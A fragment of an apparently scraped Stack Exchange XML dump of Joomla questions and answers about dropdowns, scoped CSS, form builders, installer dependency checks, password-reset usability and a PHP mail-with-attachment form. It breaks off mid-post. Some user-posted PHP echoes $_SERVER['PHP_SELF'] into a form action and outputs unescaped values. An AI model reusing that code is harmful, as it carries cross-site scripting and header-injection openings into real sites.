  <row Id="22263" PostTypeId="1" CreationDate="2018-01-19T15:26:53.960" Score="0" ViewCount="255" Body="&lt;p&gt;I have a dropdown list that populate from Joomla database&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select('peak_name');&#xA;$query-&amp;gt;from($db-&amp;gt;qn('#__unclimbedpeaks'));&#xA;$query-&amp;gt;where($db-&amp;gt;quoteName('#__unclimbedpeaks.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;$query-&amp;gt;order('peak_id ASC');&#xA;$db-&amp;gt;setQuery($query);&#xA;$peaks_list = $db-&amp;gt;loadColumn();&#xA;$peaks_select  = '&amp;lt;select name=&quot;name&quot; id=&quot;peaks&quot;&amp;gt;';&#xA;$peaks_select .= '&amp;lt;option value=&quot;&quot;&amp;gt;-- Odaberi vrh --&amp;lt;/option&amp;gt;';&#xA;// here we use the peak_name for the value, whereas usually you set the value to the id of the table row. we're assuming there won't be any double quotes in these names.&#xA;foreach($peaks_list as $p){&#xA;    $peaks_select .= '&amp;lt;option value=&quot;' . $p . '&quot;&amp;gt;' . $p . '&amp;lt;/option&amp;gt;';  &#xA;}&#xA;$peaks_select .= '&amp;lt;/select&amp;gt;';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form name=&quot;lista&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;?php echo $peaks_select; ?&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get the $result variable without using the submit button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when a user selects a value from the dropdown list, that is&#xA;$result = &quot;selected value&quot; without clicking on submit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2018-10-03T22:00:16.917" Title="Selected value without submit button" Tags="|joomla-3.x|dropdown|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22267" PostTypeId="1" AcceptedAnswerId="22269" CreationDate="2018-01-20T06:46:03.170" Score="0" ViewCount="574" Body="&lt;p&gt;I have some custom CSS for a table that needs to only change this specific table and leave the rest of the page to followed the regular template.css. I'm not sure where to put this to it works with Joomla and isn't accessed by the rest of the Joomla website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say the CSS code looks something like this, just as an example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;body {&#xA;line-height: 1.5;&#xA;}&#xA;table {&#xA;border: 1px solid #ccc;&#xA;}&#xA;table tr {&#xA;background: #ffffff;&#xA;}&#xA;@media screen and (max-width: 600px) {&#xA;  table {&#xA;    border: 0;&#xA;  }&#xA;  table caption {&#xA;    font-size: 1.3em;&#xA;  }&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where do I put the above CSS style in Joomla to only be used on that specific page and only for that one table?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do I place this CSS code? Do I create a flexicode module and put the CSS in there to only appear on this page? Add it to the custom.css? How can only body and table be assigned to that specific table to there are no conflicts with the body and perhaps table that might already exist in the template.css and possibly elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2018-01-20T18:16:48.223" Title="Use custom CSS for only part of a Joomla page?" Tags="|joomla-3.x|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22268" PostTypeId="1" AcceptedAnswerId="22272" CreationDate="2018-01-20T08:27:56.100" Score="1" ViewCount="493" Body="&lt;p&gt;Good day,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a component available which will allow me to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user completes a form, submits it and receives an email upon submission. If they want to edit the form, they will be allowed to log in and go to a &quot;directory&quot; or &quot;history&quot; of their submissions and edit any submission they wish to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am using RSForm Pro and it can do these things I ask of. The only issue is, the layout of the &quot;Edit&quot; page looks very bad. As in, just row below row. I want to present it in a more visually appealing way for the user, so they can edit the form easily if they want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, how do you go about sending an email notification once a change has been made? If the user decides to add one field in their form, they should receive an email with all the listed changes and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at Breezingforms. I will do more research there and see if it can be done in a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are welcome.&lt;/p&gt;&#xA;" OwnerUserId="9578" LastActivityDate="2018-08-20T03:01:51.253" Title="Allow front-end editing of user forms?" Tags="|joomla-3.x|rsform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22269" PostTypeId="2" ParentId="22267" CreationDate="2018-01-20T18:16:48.223" Score="2" Body="&lt;p&gt;If you just mean a table in a standard Joomla article (as opposed to a module), then I'd personally just add a class to the table, and then reference the table by that class in the custom css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie change &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;table class=&quot;green&quot;&amp;gt;&lt;/code&gt; and reference it with &lt;code&gt;table.green {}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add the class, you are probably better going in the html view and doing it manually to make sure it appears in the right place, though you could also add the style to the editor.css and do it via the WYSIWYG (anything in your template's editor.css file appears in the styles dropdown).&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-01-20T18:16:48.223" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22271" PostTypeId="2" ParentId="22268" CreationDate="2018-01-21T16:52:04.493" Score="1" Body="&lt;p&gt;Fabrik is pretty awesome for things like that.  You can totally customize the look of any form created in Fabrik.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2018-01-21T16:52:04.493" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22272" PostTypeId="2" ParentId="22268" CreationDate="2018-01-21T21:11:07.777" Score="1" Body="&lt;p&gt;I haven't tried to do it, but most likely the edit/submissions layout of RSForm pro would be improvable. It should support template overrides and also you should be able to apply CSS changes to fine-tune it's look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding sending emails when there is a change in the form I guess you need to ask RSJoomla. Logically there should be a way using some php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart of RSForm, as @Michael said in his answer, Fabrik is a great alternative and offers all you have described and even more. Again you can tweak it's layout the way you want. However, Fabrik has some learning curve in order to master it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you do a search in Joomla Extensions Directory you will discover a lot more similar Form/Application builder extensions: Chronoforms, BreezingForms, Cobalt, Seblod, FlexiContent and so on.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-21T21:11:07.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22273" PostTypeId="1" CreationDate="2018-01-21T22:29:46.127" Score="1" ViewCount="141" Body="&lt;p&gt;Suppose, one component is dependant upon the presence of another component. I found a function that is activated before installation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a file &quot;script.php&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;import( 'joomla.application.component.controller' );&#xA;&#xA;class com_helloWorldInstallerScript&#xA;{&#xA;    /**&#xA;     * Runs just before any installation action is preformed on the component.&#xA;     * Verifications and pre-requisites should run in this function.&#xA;     *&#xA;     * @param  string    $type   - Type of PreFlight action. Possible values are:&#xA;     *                           - * install&#xA;     *                           - * update&#xA;     *                           - * discover_install&#xA;     * @param  \stdClass $parent - Parent object calling object.&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    public function preflight($type, $parent) &#xA;    {&#xA;        if($type === 'install')&#xA;        {   &#xA;            // Check if component is installed&#xA;            if ( !JComponentHelper::isEnabled( 'com_clients', true) )&#xA;            {&#xA;                echo 'com_clients is either not enabled or not installed';&#xA;                //How to stop installation process and output an error here?&#xA;                return;&#xA;            }&#xA;            else&#xA;            {&#xA;                echo 'com_clients is installed and enabled';&#xA;            }&#xA;        }&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add reference to manifest XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Runs on install/uninstall/update; New in 2.5 --&amp;gt;&#xA;&amp;lt;scriptfile&amp;gt;script.php&amp;lt;/scriptfile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to check the version of installed component?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to stop installation process and output an error if the required component is not installed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12109" LastActivityDate="2018-01-22T12:52:52.130" Title="Dependency check while installing a component" Tags="|component|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22274" PostTypeId="1" CreationDate="2018-01-21T23:25:27.923" Score="5" ViewCount="585" Body="&lt;p&gt;The standard Joomla password reset process takes three steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enter email address and request reset token&lt;/li&gt;&#xA;&lt;li&gt;Complete the 'confirm' page with username and reset token (either by copying the token from the password reset email received into the already open browser tab, or by following the reset link in the email that pre-fills the token field but still requires the user to enter their username).&lt;/li&gt;&#xA;&lt;li&gt;Set and verify new password&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I don't really see the point in requiring the user to enter their username when following the reset link provided to them via email - if they received the link, they have control of the email address associated with the user account. Asking them for their username is superfluous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Granted, the link presently does not include the email address or username as a query parameter, but assuming it did so, step 2 could be bypassed altogether, making the process simpler. You might argue that requiring the user to also provide their username during the reset process increases overall security, but then if you are using the email address as the username as in my case, this is arbitrary and just annoying for users. The reset process could be done without exposing the username at all (by just including the email address as the additional query parameter), if this were of concern at any rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've reviewed the Joomla code for the com_users module and unfortunately, without modifying Joomla code (which I strictly avoid) I can't see a way to manipulate the password reset link included in the reset email, via a plugin or otherwise, before it gets sent out. Can anybody think of a practical way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2018-01-23T21:59:54.703" LastActivityDate="2018-05-25T02:18:53.470" Title="Bypass password reset 'confirm' page" Tags="|user|security|account-password|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22276" PostTypeId="2" ParentId="7276" CreationDate="2018-01-22T11:51:43.753" Score="3" Body="&lt;p&gt;I used &lt;a href=&quot;https://www.minitek.gr/joomla-extensions/minitek-wall&quot; rel=&quot;nofollow noreferrer&quot;&gt;Minitek Wall&lt;/a&gt;. &#xA;Seems to work really well - I am not technically well versed so I stand to be corrected on that part. Very quick. &#xA;Only frustrating thing is the lack of pagination in the free version - but that seems like a good driver to the paid version! &lt;/p&gt;&#xA;" OwnerUserId="12128" LastActivityDate="2018-01-22T11:51:43.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22277" PostTypeId="2" ParentId="22273" CreationDate="2018-01-22T12:52:52.130" Score="2" Body="&lt;p&gt;&lt;strong&gt;1. question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the database version of a component by running this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function getDatabaseVersion() {&#xA;    // Get the extension ID&#xA;    $db = JFactory::getDbo();&#xA;&#xA;&#xA;    $eid = $this-&amp;gt;getExtensionId();&#xA;&#xA;    if ($eid != null) {&#xA;        // Get the schema version&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('version_id')&#xA;            -&amp;gt;from('#__schemas')&#xA;            -&amp;gt;where('extension_id = ' . $db-&amp;gt;quote($eid));&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $version = $db-&amp;gt;loadResult();&#xA;&#xA;        return $version;&#xA;    }&#xA;&#xA;    return null;&#xA;}&#xA;&#xA;/**&#xA; * Loads the ID of the extension from the database&#xA; *&#xA; * @return mixed&#xA; */&#xA;private function getExtensionId() {&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    $query = $db-&amp;gt;getQuery(true);&#xA;    $query-&amp;gt;select('extension_id')&#xA;        -&amp;gt;from('#__extensions')&#xA;        -&amp;gt;where($db-&amp;gt;qn('element').' = '.$db-&amp;gt;q('XXXXXXXXXX'). ' AND type='. $db-&amp;gt;q('component'));&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $eid = $db-&amp;gt;loadResult();&#xA;&#xA;    return $eid;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I grabbed this from my code. Feel free to customize it. Have a look at the XXXXX first. If you need the component version, you can check the manifest_cache column of the #__extensions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. question:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can do something like this in your preflight method: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (version_compare($versionA, $versionB, 'gt')) {&#xA;    $msg = &quot;Downgrades are not supported.&quot;;&#xA;    throw new Exception($msg, 100);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11801" LastActivityDate="2018-01-22T12:52:52.130" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22278" PostTypeId="2" ParentId="10558" CreationDate="2018-01-22T19:55:09.300" Score="9" Body="&lt;p&gt;After this question was originally answered, Joomla introduced in version 3.5 another way of passing variables to javascript, using the &lt;code&gt;addScriptOptions()&lt;/code&gt; method of the Joomla &lt;code&gt;Document&lt;/code&gt; class. So I'm just adding this to make other people who are interested in this question aware of this alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your php file you can write eg: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$phpvars = array('alpha' =&amp;gt; 1, 'beta' =&amp;gt; 'test', 'gamma' =&amp;gt; null);&#xA;$document = JFactory::getDocument();&#xA;$document-&amp;gt;addScriptOptions('myvars', $phpvars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your javascript you can retrieve the values using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var jsvars = Joomla.getOptions('myvars');&#xA;console.log(jsvars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which will output on the browser console the Javscript Object structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{alpha: 1, beta: &quot;test&quot;, gamma: null}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can obviously use this multiple times in your code, using different keys (the key being &lt;code&gt;'myvars'&lt;/code&gt; in the example above). &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2018-01-22T19:55:09.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22279" PostTypeId="2" ParentId="22260" CreationDate="2018-01-22T21:18:23.200" Score="0" Body="&lt;p&gt;Maybe port &lt;code&gt;25&lt;/code&gt; is blocked? Try port &lt;code&gt;587&lt;/code&gt; instead. If im correct this is the documentation for your smtp host:&#xA;&lt;a href=&quot;http://support.mailhostbox.com/configure-your-desktop-email-clients-to-send-and-receive-email/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://support.mailhostbox.com/configure-your-desktop-email-clients-to-send-and-receive-email/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should state that the question you're asking isn't really specific. Could be anything that is going wrong!&lt;/p&gt;&#xA;" OwnerUserId="11511" LastActivityDate="2018-01-22T21:18:23.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22280" PostTypeId="2" ParentId="22208" CreationDate="2018-01-22T21:35:14.460" Score="1" Body="&lt;p&gt;Yes it is possible to check a value with ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could disable the default functionality of the form submit, for example (using jQuery):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('FORM_ELEMENT').submit(function(e){&#xA;  //dont submit the form&#xA;  e.preventDefault();&#xA;&#xA;  //if valid url_to_ajax_function should return true or false for example {&quot;found&quot;: true}&#xA;  $.get(&quot;url_to_ajax_function?variable=value&quot;, function(data){&#xA;     //check if return ajax request is true&#xA;     if(data.found){&#xA;         //found, so submit the form&#xA;         $(this).submit()&#xA;     }else {&#xA;         alert('value not found');  &#xA;     }&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note that this is dummy code, and is only used here to show that it is technically possible, but this is the call as you could make it. It is definitely possible, but some jQuery knowledge is a must.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good way to check if the user has a valid field submitted (for example when a user has javascript disabled, so an extra failsave), a plugin could be created. You should use the observer &lt;code&gt;onUserAfterSave()&lt;/code&gt;. &lt;a href=&quot;https://docs.joomla.org/Creating_a_profile_plugin/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla documentary for creating plugin with onUserAfterSave()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help you in the right direction!&lt;/p&gt;&#xA;" OwnerUserId="11511" LastActivityDate="2018-01-22T21:35:14.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22282" PostTypeId="2" ParentId="22274" CreationDate="2018-01-23T06:32:34.117" Score="0" Body="&lt;p&gt;If you only need to modify the com_users module, surely you can just make an override by copy-pasting it into your template, e.g. into: template/html/com_users/registration/default.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you would like to set &lt;code&gt;username&lt;/code&gt; field hidden and set the value to it, which you can load from the database by the query with the reset link unique part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Alternatively this for Joomla 1 might contain some clues, if you're a developer: &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=50531&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=50531&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12130" LastEditorUserId="8261" LastEditDate="2018-01-25T18:04:37.017" LastActivityDate="2018-01-25T18:04:37.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22283" PostTypeId="1" CreationDate="2018-01-24T09:46:11.003" Score="2" ViewCount="2323" Body="&lt;p&gt;i'm trying to filter articles by custom fields.&#xA;In Wordpress it's quite easy to do, but i'm blocked now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what i would imagine right to do, but it's not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');&#xA;&#xA;// Get an instance of the generic articles model&#xA;$model = JModel::getInstance('Articles');&#xA;&#xA;// Set application parameters in model&#xA;$app       = JFactory::getApplication();&#xA;$appParams = $app-&amp;gt;getParams();&#xA;&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;&#xA;// Tri&#xA;$model-&amp;gt;setState('filter.category_id', $catid);&#xA;&#xA;// Isn't it possible??&#xA;$model-&amp;gt;setState('filter.jcfields.test', &quot;TEST&quot;);&#xA;&#xA;&#xA;// Retrives items&#xA;$items = $model-&amp;gt;getItems();&#xA;&#xA;dump($items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="12137" LastActivityDate="2022-04-08T11:43:10.987" Title="How to filter articles by jcfields (Custom Fields)?" Tags="|custom-field|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22284" PostTypeId="1" CreationDate="2018-01-24T11:22:55.203" Score="1" ViewCount="118" Body="&lt;p&gt;I made a simple email form to send an attachment (image). All sender information is taken from the joomla database, the user selects from the dropdown list (populated from database) new name of image. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In lines 1-50, I created all the variables from the joomala base&lt;/li&gt;&#xA;&lt;li&gt;In lines 50-56 I have tested variables with echo and everything works&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In email form after line 58 variables $alias and $sender does not work (get  empty space instead of value in email message)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// $link_id&#xA;$link_id = JRequest::getInt('link_id');&#xA;&#xA;// $sender&#xA;$db = JFactory::getDbo();&#xA;$query1 = $db-&amp;gt;getQuery(true);&#xA;$query1-&amp;gt;select('link_name');&#xA;$query1-&amp;gt;from($db-&amp;gt;quoteName('#__hikers'));&#xA;$query1-&amp;gt;where($db-&amp;gt;quoteName('#__hikers.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;$db-&amp;gt;setQuery($query1);&#xA;$sender = $db-&amp;gt;loadResult();&#xA;&#xA;// $alias&#xA;$db = JFactory::getDbo();&#xA;$querya = $db-&amp;gt;getQuery(true);&#xA;$querya-&amp;gt;select('#__hikers.alias');&#xA;$querya-&amp;gt;from($db-&amp;gt;quoteName('#__hikers'));&#xA;$querya-&amp;gt;where($db-&amp;gt;quoteName('#__hikers.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;$db-&amp;gt;setQuery($querya);&#xA;$alias = $db-&amp;gt;loadResult();&#xA;&#xA;// $sender_email&#xA;$db = JFactory::getDbo();&#xA;$query3 = $db-&amp;gt;getQuery(true);&#xA;$query3-&amp;gt;select('#__users.email');&#xA;$query3-&amp;gt;from($db-&amp;gt;quoteName('#__users'));&#xA;$query3-&amp;gt;where($db-&amp;gt;quoteName('#__users.id').&quot; = &quot;.$db-&amp;gt;quote($userId));&#xA;$db-&amp;gt;setQuery($query3);&#xA;$sender_email = $db-&amp;gt;loadResult();&#xA;&#xA;// Dropdown menu from database&#xA;&#xA;$db = JFactory::getDbo();&#xA;$squery = $db-&amp;gt;getQuery(true);&#xA;$squery-&amp;gt;select('peak_name');&#xA;$squery-&amp;gt;from($db-&amp;gt;qn('#__unclimbedpeaks'));&#xA;$squery-&amp;gt;where($db-&amp;gt;quoteName('#__unclimbedpeaks.link_id').&quot; = &quot;.$db-&amp;gt;quote($link_id));&#xA;$squery-&amp;gt;order('peak_id ASC');&#xA;$db-&amp;gt;setQuery($squery);&#xA;$speaks_list = $db-&amp;gt;loadColumn();&#xA;$speaks_select  = '&amp;lt;select name=&quot;name&quot; id=&quot;peaks&quot;&amp;gt;';&#xA;$speaks_select .= '&amp;lt;option value=&quot;&quot;&amp;gt;-- Odaberi vrh --&amp;lt;/option&amp;gt;';&#xA;foreach($speaks_list as $p){&#xA;$speaks_select .= '&amp;lt;option value=&quot;' . $p . '&quot;&amp;gt;' . $p . '&amp;lt;/option&amp;gt;';  &#xA;    }&#xA;$speaks_select .= '&amp;lt;/select&amp;gt;';&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;// Testing $alias, $sender, $sender_email and $link_id&#xA;&#xA;echo $alias;&#xA;echo $sender;&#xA;echo $sender_email;&#xA;echo $link_id;&#xA;&#xA;// Email form&#xA;&#xA;if(isset($_POST['submit2']))&#xA;{   $svrh_name = $_POST['name'];&#xA;    $output = header('Location: https://mysite/'.$alias); /* Redirect browser */;&#xA;    //Set the form flag to no display (cheap way!)&#xA;    $flags = 'style=&quot;display:none;&quot;';&#xA;&#xA;    //Deal with the email&#xA;    $to = 'admin@MySite.com';&#xA;    $subject = 'Message from '.$sender;&#xA;    $message = 'This is message with '.$svrh_name.' from '.$sender.'. Please visit link: https://MySite/'.$alias.' Sender email:'.$sender_email.' Sender ID:'.$link_id.'';&#xA;    $attachment = chunk_split(base64_encode(file_get_contents($_FILES['file']['tmp_name'])));&#xA;    $filename = $svrh_name.'.jpg';&#xA;    $boundary =md5(date('r', time())); &#xA;    $headers = 'From: '.$sender_email.' \r\nReply-To: '.$sender_email.'';&#xA;    $headers .= &quot;\r\nMIME-Version: 1.0\r\nContent-Type: multipart/mixed; boundary=\&quot;_1_$boundary\&quot;&quot;;&#xA;    $message=&quot;This is a multi-part message in MIME format.&#xA;&#xA;--_1_$boundary&#xA;Content-Type: multipart/alternative; boundary=\&quot;_2_$boundary\&quot;&#xA;&#xA;--_2_$boundary&#xA;Content-Type: text/plain; charset=\&quot;iso-8859-1\&quot;&#xA;Content-Transfer-Encoding: 7bit&#xA;&#xA;$message&#xA;&#xA;--_2_$boundary--&#xA;--_1_$boundary&#xA;Content-Type: application/octet-stream; name=\&quot;$filename\&quot; &#xA;Content-Transfer-Encoding: base64 &#xA;Content-Disposition: attachment &#xA;&#xA;$attachment&#xA;--_1_$boundary--&quot;;&#xA;&#xA;    mail($to, $subject, $message, $headers);&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;         &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&amp;gt;&#xA;&amp;lt;title&amp;gt;MailFile&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;?php echo $output; ?&amp;gt;&#xA;&amp;lt;form enctype=&quot;multipart/form-data&quot; action=&quot;&amp;lt;?php echo         $_SERVER['PHP_SELF'];?&amp;gt;&quot; method=&quot;post&quot; &amp;lt;?php echo $flags;?&amp;gt;&amp;gt;&#xA;&amp;lt;?php echo $speaks_select; ?&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;file&quot;&amp;gt;File&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit2&quot; id=&quot;submit2&quot; value=&quot;Send&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11762" LastActivityDate="2018-07-25T02:48:22.300" Title="Variables do not work in email form" Tags="|database|emails|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22285" PostTypeId="1" AcceptedAnswerId="22297" CreationDate="2018-01-24T11:31:54.190" Score="1" ViewCount="839" Body="&lt;p&gt;I am developing a custom component for Joomla! for the first time and I am stuck on the creation of a router.php. I alredy read the &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla! Documentation&lt;/a&gt; but without clearly understand what to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the link to the single view of my component is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;index.php?option=com_layadvisory&amp;view=layadvisory&amp;id={$dataItem-&gt;id}&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I want the user to display OR:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;www.mysite.com/Lay-Advisory/1&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;www.mysite.com/Lay-Advisory/person/1&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where 1 is the ID of the selected person. I know that I must create the build(&amp;amp;$query) and the parse($segments) function, but I can't understand how. Is there anyone that can direct me to the right path to follow? Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. $dataItem-&gt;id is pulled from $this-&gt;data (via a foreach loop).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get this 